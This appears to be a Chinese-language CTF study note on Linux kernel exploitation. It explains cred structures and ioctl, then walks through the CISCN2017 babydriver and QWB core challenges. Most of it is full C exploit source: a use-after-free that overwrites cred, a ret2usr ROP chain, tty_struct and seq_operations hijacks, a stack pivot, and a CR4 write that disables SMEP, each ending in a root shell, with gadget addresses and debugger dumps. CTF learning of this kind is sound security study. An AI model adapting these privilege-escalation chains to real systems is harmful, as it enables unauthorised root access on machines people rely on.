level1:初探kernel pwn笔记
一些零散基础知识点 cred权限 进程权限管理,task_struct的源码:
1 2 3 4 5 6 7 8 9 10 const struct cred __rcu *ptracer_cred;const struct cred __rcu *real_cred;const struct cred __rcu *cred;
Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred
结构体进行标识,对于一个进程而言应当有三个 cred:
ptracer_cred: 使用ptrace
系统调用跟踪该进程的上级进程的cred(gdb调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)
real_cred: 即客体凭证 (objective cred ),通常是一个进程最初启动时所具有的权限
cred: 即主体凭证 (subjective cred ),该进程的有效cred,kernel以此作为进程权限的凭证
其中最关键的进程权限凭证:cred结构体 ,定义于内核源码include/linux/cred.h
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key *session_keyring; struct key *process_keyring; struct key *thread_keyring; struct key *request_key_auth; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user; struct user_namespace *user_ns; struct group_info *group_info; union { int non_rcu; struct rcu_head rcu; }; } __randomize_layout;
提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct cred *prepare_kernel_cred (struct task_struct *daemon){ const struct cred *old; struct cred *new ; new = kmem_cache_alloc (cred_jar, GFP_KERNEL); if (!new ) return NULL ; kdebug ("prepare_kernel_cred() alloc %p" , new ); if (daemon) old = get_task_cred (daemon); else old = get_cred (&init_cred); ...
在prepare_kernel_cred()
函数中,若传入的参数为NULL,则会缺省使用init
进程的cred
作为模板进行拷贝,即可以直接获得一个标识着root权限的cred结构体
io (house系列的io要跟着做了:))
进程文件系统
进程文件系统(process file system, 简写为procfs)用以描述一个进程,其中包括该进程所打开的文件描述符、堆栈内存布局、环境变量等等
进程文件系统本身是一个伪文件系统,通常被挂载到/proc
目录下,并不真正占用储存空间,而是占用一定的内存
当一个进程被建立起来时,其进程文件系统便会被挂载到/proc/[PID]
下,我们可以在该目录下查看其相关信息
文件描述符
进程通过文件描述符 (file descriptor )来完成对文件的访问,其在形式上是一个非负整数,本质上是对文件的索引值,进程所有执行 I/O 操作的系统调用都会通过文件描述符
每个进程都独立有着一个文件描述符表 ,存放着该进程所打开的文件索引,每当进程成功 打开一个现有文件/创建一个新文件时(通过系统调用open进行操作),内核会向进程返回一个文件描述符
在kernel中有着一个文件表,由所有的进程共享
stdin、stdout、stderr
每个*NIX进程都应当有着三个标准的POSIX文件描述符,对应着三个标准文件流:
stdin:标准输入 - 0
stdout:标准输出 - 1
stderr:标准错误 - 2
此后打开的文件描述符应当从标号3
起始
系统调用:ioctl
在*NIX中一切都可以被视为文件,因而一切都可以以访问文件的方式进行操作,为了方便,Linux定义了系统调用ioctl
供进程与设备之间进行通信
系统调用ioctl
是一个专用于设备输入输出操作的一个系统调用,其调用方式如下:
1 int ioctl (int fd, unsigned long request, ...)
Loadable Kernel Modules(LKMs) 可装载内核模块 (Loadable Kernel Modules ,简称LKMs ),位于内核空间的LKMs可以提供新的系统调用 或其他服务,用于拓展内核服务.
通常与LKM相关的命令有以下三个:
lsmod
:列出现有的LKMs
insmod
:装载新的LKM(需要root)
rmmod
:从内核中移除LKM(需要root)
lsmod特别关注
入门例题-CISCN2017-babydriver 题目附件打开就是3个文件
1 2 3 4 . ├── boot.sh # 启动脚本,运行这个脚本来启动QEMU ├── bzImage # 压缩过的内核镜像 └── rootfs.cpio # 作为初始RAM磁盘的文件
之后再查看boot.sh内容,一堆看不懂的内容:),这个题在运行以后发现是一个提权题目。
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash qemu-system-x86_64 \ -initrd rootfs.cpio \ # 指定使用rootfs.cpio作为初始RAM磁盘。可以使用cpio 命令提取这个cpio文件,提取出里面的需要的文件,比如init脚本和babydriver.ko的驱动文件。提取操作的命令放在下面的操作步骤中 -kernel bzImage \ # 使用当前目录的bzImage作为内核镜像 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ # 使用后面的字符串作为内核命令行 -enable-kvm \ # 启用加速器 -monitor /dev/null \ # 将监视器重定向到字符设备/dev/null -m 64 M \ # 参数设置RAM大小为64M --nographic \ # 参数禁用图形输出并将串行I/O重定向到控制台 -smp cores=1 ,threads=1 \ # 参数将CPU设置为1核心1线程 -cpu kvm64,+smep # 参数选择CPU为kvm64,开启了smep保护,无法在ring 0级别执行用户代码
发现题目并没有提供vmlinux文件,找gadget的话需要vmlinux文件,可以在github上找到脚本,extract-vmlinux
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!/bin/sh # SPDX-License-Identifier: GPL-2.0 -only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # Inspired from extract-ikconfig # (c) 2009 ,2010 Dick Streefland <dick@streefland.net> # # (c) 2011 Corentin Chary <corentin.chary@gmail.com> # # ---------------------------------------------------------------------- check_vmlinux() { # Use readelf to check if it' s a valid ELF # TODO: find a better to way to check that it' s really vmlinux # and not just an elf readelf -h $1 > /dev/null 2 >&1 || return 1 cat $1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1 ) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2" ` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2 > /dev/null check_vmlinux $tmp done } # Check invocation: me=${0 ##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ]then echo "Usage: $me <kernel-image>" >&2 exit 2 fi # Prepare temp files: tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp" 0 # That didn' t work, so retry after decompression. try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd # Finally check for uncompressed images or objects: check_vmlinux $img # Bail out: echo "$me: Cannot find vmlinux." >&2
之后运行脚本得到vmlinux,再使用ropper得到vmlinux的gadget
1 2 ./extract-vmlinux ./bzImage > vmlinux ropper --file ./vmlinux --nocolor > g1
之后因为rootfs.cpio是启动内核的RAM文件,他是gz后缀我们就需要把它的后缀gz加上再解压出来
为了方便的话创建一个新的core文件来进行存储
1 mkdir core && cp rootfs.cpio core && cd core && cpio -idmv < rootfs.cpio
之后cd到core查看init文件夹,打开文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko # insmod命令加载了一个名为babydriver.ko的驱动,根据一般的PWN题套路,这个就是有漏洞的LKM了 chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
之后再提取出来babydriver.io放进ida分析
发现了三个主要函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 int __fastcall babyrelease (inode *inode, file *filp) { _fentry__(inode, filp); kfree (babydev_struct.device_buf); printk ("device release\n" ); return 0 ; } #单纯的free函数 int __fastcall babyopen (inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace (kmalloc_caches[6 ], 0x24000C0 LL, 64LL ); babydev_struct.device_buf_len = 64LL ; printk ("device open\n" ); return 0 ; } #发现是申请一块64 字节的空间,储存在device_buf中,但在调试中可以发现!!!!device_buf是全局变量!!!! __int64 __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; _fentry__(filp, command); v4 = v3; if ( command == 0x10001 ) { kfree (babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0 LL); babydev_struct.device_buf_len = v4; printk ("alloc done\n" ); #发现是释放device_buf再重修申请一个 return 0LL ; } else { printk (&unk_2EB); return -22LL ; } } ssize_t __fastcall babywrite (file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user (babydev_struct.device_buf, (char *)buffer, v4); result = v6; } return result; } #与read函数相反分析 ssize_t __fastcall babyread (file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user (buffer, babydev_struct.device_buf, v4); result = v6; } return result; } #可见是一个比较大小以后拷贝内容进device_buf,但是这个fentry不是很了解,以后注意这个函数的调用
漏洞利用的话很明显的发现,baby_struct在全局变量上,利用方法就是ioctl同时打开两个设备,一个kfree一个不,就会造成一个uaf,之后再fork,把新进程的cred与之前的空间重叠,修改uid和gid为0就可以提权,同时修改的时候需要知道cred结构大小为cred为0xa8,不同版本的内核源码,结构不同记录一下!!
同时由babydriver_init可以看到
1 alloc_chrdev_region (&babydev_no, 0LL , 1LL , "babydev" ) >= 0
open的是dev/babydev
exp学习一下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> int main () { int fd1 = open ("/dev/babydev" , 2 ); int fd2 = open ("/dev/babydev" , 2 ); ioctl (fd1, 0x10001 , 0xa8 ); close (fd1); int pid = fork(); if (pid < 0 ) { puts ("[*] fork error!" ); exit (0 ); } else if (pid == 0 ) { char zeros[30 ] = {0 }; write (fd2, zeros, 28 ); if (getuid () == 0 ) { puts ("[+] root now." ); system ("/bin/sh" ); exit (0 ); } } else { wait (NULL ); } close (fd2); return 0 ; }
整个流程的话大概是我们先分配两个设备,之后利用ioctl可以重试设置申请struct大小的设置,分配成cred大小,之后再第二进程里面利用uaf溢出编写到cred_read的uid为0,进行提权。
reference https://www.anquanke.com/post/id/258874#h2-23
https://www.bbsmax.com/A/kmzLN4EW5G/
Level2:ret2usr+tty_struct+seq_operations 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 ropper --file ./vmlinux --nocolor > gadget find . | cpio -o --format=newc > ./rootfs.cpio gcc ./exp.c -o exp -masm=intel --static #常用指令 ----------------------------------------------------------------------------------------------------------------- #init脚本 #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> size_t commit_creds = NULL , prepare_kernel_cred = NULL ;size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" ); } void getRootPrivilige (void ) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); } void getRootShell (void ) { if (getuid ()) { printf ("\033[31m\033[1m[x] Failed to get the root!\033[0m\n" ); exit (-1 ); } printf ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n" ); system ("/bin/sh" ); } int main (int argc, char ** argv) { printf ("\033[34m\033[1m[*] Start to exploit...\033[0m\n" ); saveStatus (); FILE* sym_table_fd = fopen ("/tmp/kallsyms" , "r" ); if (sym_table_fd < 0 ) { printf ("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n" ); exit (-1 ); } char buf[0x50 ], type[0x10 ]; size_t addr; while (fscanf (sym_table_fd, "%llx%s%s" , &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n" , prepare_kernel_cred); continue ; } } size_t offset = commit_creds - 0xffffffff8109c8e0 ; }
UAF-ret2usr-core-强网杯 整体思路也就是泄露libc,栈溢出调用 (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));返回用户态执行shell
但是在kpti页保护以后就无法利用了(KPTI通过完全分离用户空间与内核空间页表来解决页表泄露)开启了smep之后同样不能直接使用ret2usr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define POP_RDI_RET 0xffffffff81000b2f #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RCX_RET 0xffffffff81021e53 #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define IRETQ 0xffffffff813eb448 size_t commit_creds = NULL , prepare_kernel_cred = NULL ;size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" ); } void getRootPrivilige (void ) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); } void getRootShell (void ) { if (getuid()) { printf ("\033[31m\033[1m[x] Failed to get the root!\033[0m\n" ); exit (-1 ); } printf ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n" ); system("/bin/sh" ); } void coreRead (int fd, char * buf) { ioctl(fd, 0x6677889B , buf); } void setOffValue (int fd, size_t off) { ioctl(fd, 0x6677889C , off); } void coreCopyFunc (int fd, size_t nbytes) { ioctl(fd, 0x6677889A , nbytes); } int main (int argc, char ** argv) { printf ("\033[34m\033[1m[*] Start to exploit...\033[0m\n" ); saveStatus(); int fd = open("/proc/core" , 2 ); if (fd <0 ) { printf ("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n" ); exit (-1 ); } FILE* sym_table_fd = fopen("/tmp/kallsyms" , "r" ); if (sym_table_fd < 0 ) { printf ("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n" ); exit (-1 ); } char buf[0x50 ], type[0x10 ]; size_t addr; while (fscanf (sym_table_fd, "%llx%s%s" , &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n" , prepare_kernel_cred); continue ; } } size_t offset = commit_creds - 0xffffffff8109c8e0 ; size_t canary; setOffValue(fd, 64 ); coreRead(fd, buf); canary = ((size_t *)buf)[0 ]; size_t rop_chain[0x100 ], i = 0 ; for (; i < 10 ;i++) rop_chain[i] = canary; rop_chain[i++] = (size_t )getRootPrivilige; rop_chain[i++] = SWAPGS_POPFQ_RET + offset; rop_chain[i++] = 0 ; rop_chain[i++] = IRETQ + offset; rop_chain[i++] = (size_t )getRootShell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x800 ); coreCopyFunc(fd, 0xffffffffffff0000 | (0x100 )); }
baby-driver—tty_strct+Kernel UAF + stack migitation + SMEP bypass + ret2usr 本题主要关键在于tty_struct的攻击在0x2e0大小的tty_struct结构体,
1 2 3 int fd_tty=open("dev/ptmx",O_RDWR | O_NOCTTY); size = 0x2e0 version < 4.15
中存在偏移为18的const struct tty_operations *ops 的指针中存在偏移为38的write,类似house of orange,截止执行流write为我们构造的rop链。本题难度在于调试我们已知ops中write的位置但是不知道劫持write为rop链以后的操作,于是把tty_operations_fake[7] = babyread函数来查看(方便断点查看),发现恰好在调用write是rax恰好指向的是tty_operations_fake的开头如下图所示,之后再构造rop链即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 tty_operations_fake:7ffd5ff453e0 ---------------------------------------------------- *RAX 0x7ffd5ff453e0 —▸ 0xffffffff818855cf ◂— mov rsp, rax /* 0x66b5ebcbffc48948 */ *RBX 0xffff880007910400 ◂— add dword ptr [rax + rax], edx /* 0x100005401 */ *RCX 0xffff880007910638 —▸ 0xffff88000796bdb0 ◂— cmp byte ptr [rsi], al /* 0xffff880007910638 */ RDX 0x20 *RDI 0xffff880007910400 ◂— add dword ptr [rax + rax], edx /* 0x100005401 */ *RSI 0xffff880007911400 ◂— 0 *R8 0x1 *R9 0xffff8800063ca8a0 ◂— mov dh, 0x21 /* 0x521b6 */ R10 0x0 R11 0x246 *R12 0x20 *R13 0xffff880007911400 ◂— 0 *R14 0xffffc900000702b0 ◂— 0 *R15 0xffff88000795cd00 ◂— 0 *RBP 0xffff88000796bde8 —▸ 0xffff88000796be48 —▸ 0xffff88000796bec8 —▸ 0xffff88000796bf08 —▸ 0xffff88000796bf48 ◂— ... *RSP 0xffff88000796bd68 —▸ 0xffffffff813aa31f ◂— mov rdi, r14 /* 0x6e8c78941f7894c */ RIP 0xffffffffa0000160 (babyread) ◂— mov rdi, rsi /* 0x6d6358b48f78948 */ ───────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────── ► 0xffffffffa0000160 <babyread> mov rdi, rsi ------------------------------------------------ // test.c // gcc test.c -static -masm=intel -o test # include<unistd.h> # include<stdio.h> # include<stdlib.h> # include <string.h> # include <sys/types.h> # include <sys/stat.h> # include <fcntl.h> # include<errno.h> size_t pkc_addr = 0xffffffff81070260; size_t cc_addr = 0xffffffff8106fed0; void get_root(){ char* (*pkc)(int) = pkc_addr; void (*cc)(char*) = cc_addr; (*cc)((*pkc)(0)); } void get_shell(){ system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss; void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } int main(){ save_status(); size_t mov_rsp_rax = 0xffffffff818855cf; // mov rsp, rax ; dec ebx ; jmp 0xffffffff8188558b size_t pop_rax = 0xffffffff8101c216; // pop rax; ret; size_t rop_chain[30] = {0}; int index = 0; rop_chain[index++] = 0xffffffff8101c216; // pop rax; ret; rop_chain[index++] = 0x6f0; rop_chain[index++] = 0xffffffff8100f034; // mov cr4,rax; pop rbp; ret rop_chain[index++] = 0x0; rop_chain[index++] = (size_t)get_root; rop_chain[index++] = 0xffffffff81885588; // swapgs; ret rop_chain[index++] = 0xffffffff81884177; // iretq; rop_chain[index++] = (size_t)get_shell; rop_chain[index++] = user_cs; rop_chain[index++] = user_rflags; rop_chain[index++] = user_sp; rop_chain[index++] = user_ss; size_t tty_operations_fake[30]; printf("tty_operations_fake:%llx\n", tty_operations_fake); for(int j=0;j<30;j++){ tty_operations_fake[j]=mov_rsp_rax; } // tty_operations_fake[7] = 0xffffffffa0000160; int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2); ioctl(fd1,0x10001,0x2e0); close(fd1); int fd_tty = open("dev/ptmx",O_RDWR | O_NOCTTY); if(fd_tty < 0){ printf("[+] cannot open /dev/ptmx\n"); printf("[+] ptmx errorno: %d\n",errno); goto exit; } size_t tty_struct_leak[4]; read(fd2,tty_struct_leak,32); tty_operations_fake[0] = pop_rax; tty_operations_fake[1] = (size_t)rop_chain; tty_operations_fake[2] = mov_rsp_rax; tty_struct_leak[3] = (size_t)tty_operations_fake; write(fd2,tty_struct_leak,32); size_t a[4] = {0,0,0,0}; write(fd_tty,a,32); // ioctl(fd_tty,0x100,32); exit: close(fd2); return 0; }
baby-driver—seq_operations+Kernel UAF + stack migitation + SMEP bypass + kpti(不能ret2usr) 在内核版本4.15以后申请open(“/dev/ptmx”)第一个结构体不是tty!
1 2 fd_stat = open("/proc/self/stat",0); size = 0x20
简单来说的调用就是在read对于stat设备的时候会进行一个了一个p = m->op->start(m, &m->index);
具体调试来说其实stop其实也会在read的时候调用:)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; -------------------------------- ssize_t seq_read_iter (struct kiocb *iocb, struct iov_iter *iter) { struct seq_file *m = iocb->ki_filp->private_data; p = m->op->start (m, &m->index);
那么start就可以被我们劫持利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 #include <unistd.h> #include <stdio.h> #include <stdlib.h> int fd_stat;__uint64_t temp_buf[4 ];__uint64_t pop_rax_ret = 0xffffffff8101c216 ; __uint64_t mov_rsp_rax_ret = 0xffffffff818855cf ; __uint64_t mov_cr4_rax_ret = 0xffffffff8100f034 ; __uint64_t swapgs_ret = 0xffffffff81885588 ; __uint64_t iretq = 0xffffffff81884177 ; __uint64_t fake_stack[20 ];__uint64_t fake_stack_addr = &fake_stack;size_t user_cs, user_rflags, user_sp, user_ss;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } __uint64_t commit_creds = 0xffffffff8106fed0 ;__uint64_t prepare_kernel_cred = 0xffffffff81070260 ;void get_root () { void * (*pkc)(int ) = prepare_kernel_cred; int (*cc)(void *) = commit_creds; (*cc)((*pkc)(0 )); } void get_shell () { system ("/bin/sh" ); } int main () { save_status (); printf ("fake_stack_addr: 0x%llx\n" ,fake_stack_addr); int fd1 = open ("/dev/babydev" ,2 ); int fd2 = open ("/dev/babydev" ,2 ); ioctl (fd1,0x10001 ,0x20 ); close (fd1); fd_stat = open ("/proc/self/stat" ,0 ); __uint64_t gadget1 = 0xffffffff815f5951 ; print ("&gadget1 = %llx" , &gadget1); write (fd2,&gadget1,8 ); fake_stack[0 ] = pop_rax_ret; fake_stack[1 ] = 0x6f0 ; fake_stack[2 ] = mov_cr4_rax_ret; fake_stack[3 ] = 0xffff ; fake_stack[4 ] = get_root; fake_stack[5 ] = swapgs_ret; fake_stack[6 ] = iretq; fake_stack[7 ] = get_shell; fake_stack[8 ] = user_cs; fake_stack[9 ] = user_rflags; fake_stack[10 ] = user_sp; fake_stack[11 ] = user_ss; __asm__( "mov r15, 0x15151515;" "mov r14, 0x14141414;" "mov r13, mov_rsp_rax_ret;" "mov r12, fake_stack_addr;" "mov r11, 0x11111111;" "mov r10, 0x10101010;" "mov rbp, 0xbbbbbbbb;" "mov rbx, pop_rax_ret;" "mov r9, 0x99999999;" "mov r8, 0x88888888;" "mov rcx, 0xcccccccc;" "xor rax, rax;" "mov rdx, 0x20;" "mov rsi, temp_buf;" "mov rdi, fd_stat;" "syscall" ); close (fd_stat); close (fd2); return 0 ; }
关键调试如下展示,本题我们关闭了保护方便调试:),我们在申请的结构体seq_operations start的内容随便一条gadget进行断点,执行到start后停止。太抽象了,最重要的还是慢慢调试吧:(
1 2 3 4 5 6 7 此时rsp为0xffff8800055e7df0 --------------------------------------------------------------------------------------- 27:0138│ 0xffff8800055e7f28 —▸ 0xffffffff8101c216 ◂— pop rax /* 0x4d417ec08500c358 */ 28:0140│ 0xffff8800055e7f30 —▸ 0x4ca380 —▸ 0xffffffff8101c216 ◂— pop rax /* 0x4d417ec08500c358 */ -------------------------------------------------------------------- 0x4ca380这个地址就是rop链的地址 我们的目的就是控制rsp到0xffff8800055e7f28,ret以后再进入0xffff8800055e7f30,pop rax在mov rsp rax就可以跳到我们构造的rop链。当然pop rax是我们构造的具体情况具体分析了。